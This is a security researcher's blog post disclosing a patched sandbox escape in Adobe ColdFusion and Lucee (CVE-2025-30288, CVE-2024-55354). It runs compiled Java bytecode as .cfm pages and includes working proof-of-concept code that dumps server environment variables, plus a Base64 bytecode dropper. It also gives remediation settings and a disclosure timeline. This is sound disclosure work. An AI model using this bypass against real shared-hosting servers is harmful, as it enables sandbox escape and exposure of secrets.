Wednesday, June 25, 2025

Sandbox Security Escapes in ColdFusion and Lucee (CVE-2025-30288 and CVE-2024-55354)

Introduction

In this post I'm going to cover the technical details of a security sandbox escape technique that affects Adobe ColdFusion and Lucee Server.  These vulnerabilities are tracked as CVE-2025-30288 and CVE-2024-55354, and were announced in April 2025.  The resulting patches changed the default way that ColdFusion handled precompiled CFML (Java bytecode) in .cfm and .cfc files.

Before we get into the technical details, it's worth noting that an attacker needs to be able to write files to the server in order to exploit the vulnerability.  As a result, this vulnerability is primarily a risk to shared hosting environments where CFML sandbox controls are in use.  (If an attacker or malicious user can write files to your single-tenant environment, you probably have bigger, more immediate security concerns beyond sandbox escapes.)

Get ready for what I hope is an interesting trip through ColdFusion internals, some Java, and other technical depths.  This was a fun one to find, explore, and exploit. 


The Adobe ColdFusion Security Sandbox

Adobe ColdFusion includes a security sandbox, which can be configured to limit the resources (e.g., files, directories, datasources, tags, functions, and socket addresses).  Sandbox Security was first released with ColdFusion 4 in November 1998 -- so it pre-dates ColdFusion's transition to Java with ColdFusion MX 6.  



The ColdFusion Security Sandbox has been deprecated as of ColdFusion 2025, likely in part because Java SecurityManager (which Security Sandbox uses) has been deprecated since Java JDK 17.  Adobe has not indicated if and when Sandbox Security could be removed, but it is possible that material changes will occur in a future release.


A Quick Look at the ColdFusion Compiler and Runtime

Before we cover the vulnerability and exploitation, let's start with a quick refresher on how CFML code is evaluated and compiled at runtime.   

Consider a simple piece of CFML code, saved as hello.cfm:


<cfoutput>hello world</cfoutput>


When this page is called for the first time, it gets compiled.  The ColdFusion compilation process parses the CFML and outputs Java bytecode in a .class file -- which is what gets executed by the ColdFusion engine.  Assuming that template caching is configured to save these compiled .class files on the server, you should be able to find the .class files from your compiled CFML pages in the  /path/to/your/coldfusion/webroot/WEB-INF/cfclasses/ directory.  Our hello.cfm file should be compiled into a file named similar to cfhello2ecfm1563655522.class (the numeric suffix in the filename will differ).

A quick hex dump of the file shows the "cafebabe" file header, confirming that it is indeed a Java class file.



And we can decompile this class file to get an approximation of the corresponding Java source code:


import coldfusion.runtime.AttributeCollection;
import coldfusion.runtime.CFPage;
import coldfusion.tagext.io.OutputTag;
import javax.servlet.jsp.JspWriter;
import javax.servlet.jsp.tagext.Tag;
public final class cfhello2ecfm1834618269 extends CFPage {
   static final Class class$coldfusion$tagext$io$OutputTag = Class.forName("coldfusion.tagext.io.OutputTag");
   public static final Object metaData = new AttributeCollection(new Object[]{"Functions", new Object[0], "Properties", new Object[0]});
   public final Object getMetadata() {
      return metaData;
   }
   protected final Object runPage() {
      JspWriter out = super.pageContext.getOut();
      Tag parent = super.parent;
      super.pageContext.setPageEncoding("UTF8");
      OutputTag output0 = (OutputTag)this._initTag(class$coldfusion$tagext$io$OutputTag, 0, parent);
      this._setCurrentLineNo(1);
      output0.hasEndTag(true);
      Object t6;
      label44: {
         label43: {
            label42: {
               try {
                  try {
                     if (output0.doStartTag() != 0) {
                        do {
                           out.write("hello world");
                        } while(output0.doAfterBody() != 0);
                     }
                     if (output0.doEndTag() == 5) {
                        t6 = null;
                        break label44;
                     }
                     break label42;
                  } catch (Throwable var10) {
                     output0.doCatch(var10);
                  }
               } catch (Throwable var11) {
                  output0.doFinally();
                  throw var11;
               }
               output0.doFinally();
               break label43;
            }
            output0.doFinally();
         }
         this._whitespace(out, "\n");
         return null;
      }
      output0.doFinally();
      return t6;
   }
}


An Idea - Where It Starts to Get Interesting

CFML engines process .cfm and .cfc files, and these files commonly contain CFML source code.   But CFML engines also allow developers to precompile their CFML bytecode and run it as .cfm and .cfc files as well.  

We can trace the compile process from coldfusion.tools.Compiler.class to the translateJava() method in coldfusion.compiler.NeoTranslator.class and wind up at the following codeblock for the TemplateReader() method in coldfusion.compiler.TemplateReader.class.  If the file header matches 0xCAFEBABE (meaning it's Java bytecode), it will be processed as a Java class file:



When I first saw this, I wondered if I could run any Java code as a .cfm file.  And being a terrible Java programmer, the first thing I tried to run was a compiled version of simplest "Hello World" example I could find on the Internet:


public class HelloWorld
{
    public static void main(String[] args)
    {
        System.out.println("Hello World!");
    }
}


This attempt returned a coldfusion.runtime.TemplateClassLoader error: 



and as we can see in coldfusion.runtime.TemolateClassLoader.class, we can only run instances of CfJspPage objects (or child objects of CfJspPage):




So this means that we can use the decompiled Java source code from a compiled CFML class, such as our earlier cfhello2ecfm1563655522.class example, as a well-formed CFPage object (which is a child class of CFJspPage).  This gives us a starting point for some Java source code that we can then modify and compile into Java bytecode that ColdFusion will happily run.  

I found this to be an interesting technical journey when researching this behavior, and one that made me familiar with more ColdFusion internals. But can we use this technique in a viable attack that will circumvent a defined security boundary?  The answer is yes.


Walking Through The Vulnerability and Exploitation

Let's now return our attention to the ColdFusion Security Sandbox.  Consider the following CFML code that calls <cfexecute>.  This tag (and the corresponding function) can have security implications since it can be used to run system commands:

<cfexecute name="/bin/ls"> </cfexecute>


We can look at a snippet of the decompiled bytecode from when this CFML gets compiled to see how things work:



In coldfusion.tagext.lang.ExecuteTag.class we can see that a GenericTagPermission("cfexecute") is defined:



This is an example of one layer of security that the Security Sandbox can enforce for specific tags and functions.  If the Sandbox is enabled and configured to block <cfexecute>, we'll get an error if we try to run CFML code that calls <cfexecute> or cfexecute():




Note that this is not the only security check that Security Sandbox performs when running <cfexecute> in code, but it's enough to demonstrate that many of the security checks rely on the assumption that the Java bytecode that the ColdFusion engine runs will have been compiled from CFML source code.  We can break this assumption since we can skip CFML altogether compile Java source code into Java bytecode.

[ Security trivia no one asked for: Going to lower level is nothing new when trying to get around a security control.  I'm reminded of when Windows XP SP2 removed support for raw TCP/IP sockets so Nmap was modified to send raw Ethernet frames on Windows instead.  Not that you'd want to run Nmap on Windows anyway.  ¯\_(ツ)_/¯  ] 

Let's walk through a full example showing how we can exploit this.  Consider an environment where sandbox rules disable the createObject(Java) function .  If we trying to run the following code that that tries to print our environment variables it will get blocked:


<cfscript>
// Get access to the system class.
system = createObject( "java", "java.lang.System" );
environment = system.getenv();
writedump(environment);
</cfscript>





However, we can compile the following Java source code and then access the resulting class file as a .cfm file in the sandboxed-protected directory -- which will let us call java.lang.System and get the server environment variables:

import coldfusion.runtime.AttributeCollection;
import coldfusion.runtime.CFPage;
import coldfusion.runtime.CfJspPage;
import java.io.Writer;
import javax.servlet.jsp.JspWriter;
import javax.servlet.jsp.tagext.Tag;
import java.util.Map;


public final class cfenvvar extends CFPage {
  public static final Object metaData = new AttributeCollection(new Object[] { "Functions", new Object[0], "Properties", new Object[0] });
  
  public final Object getMetadata() {
    return metaData;
  }
  
  protected final Object runPage() {
    
   try { 
    // out = ((CfJspPage)this).pageContext.getOut();
    parent = ((CfJspPage)this).parent;
    ((CfJspPage)this).pageContext.setPageEncoding("UTF8");
    _setCurrentLineNo(2);
        Map<String, String> env_var = System.getenv();

        // Loop through all environment variables
        for (String envName : env_var.keySet()) {
            // Print environment variable name and value to console
            String str1 = envName;
            String str2 = env_var.get(envName);
            WriteOutput(str1);
            WriteOutput("=");
            WriteOutput(str2);
            WriteOutput("<br>");
        }


     } catch (Exception ex) {

    }
    return null;
  }
}


Assuming we've saved the Java source above as cfenvvar.java we can then compile it.  You'll need to specify the required classpaths that contain the necessary libraries from your CFML engine and servlet container.  I'm performing the example below in a CommandBox environment, so you may need to adjust your classpath directories to match your environment:  

javac -cp "c:\Users\Administrator\.CommandBox\server\9959080028520A0EA66CC9879EFB2A38-cbox-wwwroot\adobe-2023.0.11.330706\WEB-INF\lib\*;c:\Users\Administrator\.CommandBox\server\9959080028520A0EA66CC9879EFB2A38-cbox-wwwroot\adobe-2023.0.11.330706\WEB-INF\cfusion\lib\*;c:\Users\Administrator\.CommandBox\lib\*" cfenvvar.java


Once the outputted .class file is copied to a CFML web directory with a .cfm extension, ColdFusion will happily execute it regardless of the sandbox restrictions:




As we know, Java bytecode is very portable by design.  Write Once, Run Anywhere.  Java-powered smartcards.  Java rings.  Java toasters.  The dream of the 90s is alive in Java.  So once we've compiled our bytecode on one system, it will run on any other JVM.  



Figure 1.  This guy gets it.


And in addition to uploading our compiled bytecode as a .cfm file directly, we can also generate it entirely within CFML code, with some code similar to the following.  We Base64-encode the bytecode we've compiled elsewhere, pass it in a variable, decode it, and write it to a file:

<cfscript>

bytecode = "yv66vgAAADQAYwoAAgADBwAEDAAFAAYBABljb2xkZnVzaW9uL3J1bnRpbWUvQ0ZQYWdlAQAGPGluaXQ+AQADKClWCQAIAAkHAAoMAAsADAEACGNmZW52dmFyAQAIbWV0YURhdGEBABJMamF2YS9sYW5nL09iamVjdDsJAA4ADwcAEAwAEQASAQAcY29sZGZ1c2lvbi9ydW50aW1lL0NmSnNwUGFnZQEABnBhcmVudAEAHkxqYXZheC9zZXJ2bGV0L2pzcC90YWdleHQvVGFnOwkACAAPCQAOABUMABYAFwEAC3BhZ2VDb250ZXh0AQAjTGNvbGRmdXNpb24vcnVudGltZS9OZW9QYWdlQ29udGV4dDsIABkBAARVVEY4CgAbABwHAB0MAB4AHwEAIWNvbGRmdXNpb24vcnVudGltZS9OZW9QYWdlQ29udGV4dAEAD3NldFBhZ2VFbmNvZGluZwEAFShMamF2YS9sYW5nL1N0cmluZzspVgoACAAhDAAiACMBABFfc2V0Q3VycmVudExpbmVObwEABChJKVYKACUAJgcAJwwAKAApAQAQamF2YS9sYW5nL1N5c3RlbQEABmdldGVudgEAESgpTGphdmEvdXRpbC9NYXA7CwArACwHAC0MAC4ALwEADWphdmEvdXRpbC9NYXABAAZrZXlTZXQBABEoKUxqYXZhL3V0aWwvU2V0OwsAMQAyBwAzDAA0ADUBAA1qYXZhL3V0aWwvU2V0AQAIaXRlcmF0b3IBABYoKUxqYXZhL3V0aWwvSXRlcmF0b3I7CwA3ADgHADkMADoAOwEAEmphdmEvdXRpbC9JdGVyYXRvcgEAB2hhc05leHQBAAMoKVoLADcAPQwAPgA/AQAEbmV4dAEAFCgpTGphdmEvbGFuZy9PYmplY3Q7BwBBAQAQamF2YS9sYW5nL1N0cmluZwsAKwBDDABEAEUBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoACABHDABIAEkBAAtXcml0ZU91dHB1dAEAFShMamF2YS9sYW5nL1N0cmluZzspWggASwEAAT0IAE0BAAQ8YnI+BwBPAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAUQEAJmNvbGRmdXNpb24vcnVudGltZS9BdHRyaWJ1dGVDb2xsZWN0aW9uBwBTAQAQamF2YS9sYW5nL09iamVjdAgAVQEACUZ1bmN0aW9ucwgAVwEAClByb3BlcnRpZXMKAFAAWQwABQBaAQAWKFtMamF2YS9sYW5nL09iamVjdDspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAtnZXRNZXRhZGF0YQEAB3J1blBhZ2UBAA1TdGFja01hcFRhYmxlAQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQANY2ZlbnZ2YXIuamF2YQAxAAgAAgAAAAEAGQALAAwAAAAEAAEABQAGAAEAWwAAAB0AAQABAAAABSq3AAGxAAAAAQBcAAAABgABAAAACgARAF0APwABAFsAAAAcAAEAAQAAAASyAAewAAAAAQBcAAAABgABAAAADgAUAF4APwABAFsAAADeAAIABgAAAG0qKrQADbUAEyq0ABQSGLYAGioFtgAguAAkTCu5ACoBALkAMAEATSy5ADYBAJkAOyy5ADwBAMAAQE4tOgQrLbkAQgIAwABAOgUqGQS2AEZXKhJKtgBGVyoZBbYARlcqEky2AEZXp//CpwAETAGwAAEAAABnAGoATgACAFwAAAA+AA8AAAAVAAgAFgARABcAFgAYABoAGwA5AB0APAAeAEgAHwBPACAAVgAhAF0AIgBkACMAZwAoAGoAJgBrACkAXwAAABMABP0AJgcAKwcAN/kAQEIHAE4AAAgAYAAGAAEAWwAAAD8ABgAAAAAAJ7sAUFkHvQBSWQMSVFNZBAO9AFJTWQUSVlNZBgO9AFJTtwBYswAHsQAAAAEAXAAAAAYAAQAAAAsAAQBhAAAAAgBi";

filewrite(file="/path/to/some/sandbox/webdir/we/can/write/to/cfenvvar.cfm", data=tobinary(bytecode));

writeoutput("done");

</cfscript>


Once the following code has run, we can call the created cfenvvar.cfm file, which will contain our bytecode and get executed by the server.

While our simple proof-of-concept demonstration just prints environment variables, this technique can be used in higher impact attacks.  An attacker is able to bypass many of the controls that could be enforced via Sandbox Security, which can lead to disclosure of sensitive information, changing sensitive values, denial of service, and a full compromise of a ColdFusion environment.   It's worth pointing out that some of the Sandbox Security controls, such as file I/O restrictions, are enforced at the JVM layer by the Java Security Manager.  As a result, we cannot use this technique to bypass filesystem restrictions on Adobe ColdFusion.  


Information on Lucee Server

Like Adobe ColdFusion, Lucee compiles CFML code into Java classes.   We can follow the same the path from CFML source code, to Java bytecode, to decompiled Java source code.

Lucee offers some controls similar to the Adobe ColdFusion Security Sandbox, in the Security  Access Manager section of Lucee Administrator that let administrators control access to specified tags, functions, file paths, and functionality.  Since these controls rely on the Java bytecode generated during CFML compilation, we can create and compile native Java source code that can bypass them as well.



A Word on Threat Models and Exploitability in the Modern World

This vulnerability poses a significant risk to multi-tenant environments, shared hosting providers, and other instances that rely on the sandbox controls.  ColdFusion is 30 years old this year, and the origins of Railo (from which Lucee was forked in 2015) date back to 2002.  There was a time when multi-tenant and shared hosting environments were very popular due to typical server architecture, reduced costs, and other factors.  One big, shared server for user-developed applications and "application playgrounds" were common.  Over time this has changed, and with the rise of cloud hosting, virtualization, containers, and an overall decrease in computing costs, shared hosting has become less common and less popular.  

In order for an attacker to exploit this vulnerability, he needs to be able to create .cfm files on the server.  For most dedicated hosting and single-tenant environments, if an attacker can upload .cfm files (with CFML code, bytecode, or any other content) you probably have bigger security risks than a sandbox escape.  As a result, this vulnerability does not really introduce new risk into those environments.  And the benefits of deploying pre-compiled CFML may have legitimate operational benefits.  If that applies to you -- do your own risk analysis but relaxing or disabling the controls around direct bytecode execution could be appropriate.

But on shared hosting, users will likely be able to upload code (e.g., .cfm files) via SFTP (hopefully not FTP!), web interfaces, and other methods.  If you're a hosting provider who provides shared CFML environments, this will likely be a critical vulnerability to remediate.  If you're a shared hosting customer, check with your hosting provider to see if they've addressed this vulnerability in your environment.  



Remediation Information

Adobe Coldfusion

This vulnerability has been patched as of ColdFusion 2025 (initial release), ColdFusion 2023 Update 13, and ColdFusion 2021 Update 19.  As of these patches, ColdFusion will block bytecode from running in most directories by default.  Some system paths, such as /CFIDE/ are allowed to run bytecode by default.  

ColdFusion has also added the -Dcoldfusion.compiler.block.bytecode JVM flag that can be used to toggle bytecode support, as well as a cfusion/lib/pathfilter.txt (changed to pathfilter.json in later ColdFusion releases) to allow/disallow specific directories to execute precompiled bytecode.  

Refer to APSB25-15 and the associated Tech Notes linked from the bulletin for additional information.


Lucee

The vulnerability has been patched in Lucee as of versions 5.4.7.3, 6.0.4.15, 6.1.1.114, 6.2.0.154.  Note that on Lucee, bytecode execution is not blocked by default.  The mitigation can be enabled by setting the following Java System Property or Environment Variable and restarting Lucee:

  • System property: -Dlucee.compiler.block.bytecode=true
  • Environment variable: LUCEE_COMPILER_BLOCK_BYTECODE=true

Refer to the Lucee Security Advisory for additional information. 


Timeline

2024-11-05 - Reported the vulnerability to Adobe PSIRT and Lucee Server team.

2024-11-06 - Lucee patch released via LDEV-5139; bytecode execution not disabled by default.

2025-02-25 - Adobe ColdFusion 2025 released, which disables bytecode execution by default

2025-04-08 - Adobe Security Bulletin APSB25-15 and Lucee Security Advisory released.

2025-06-25 - Blog post published.


No comments:

Post a Comment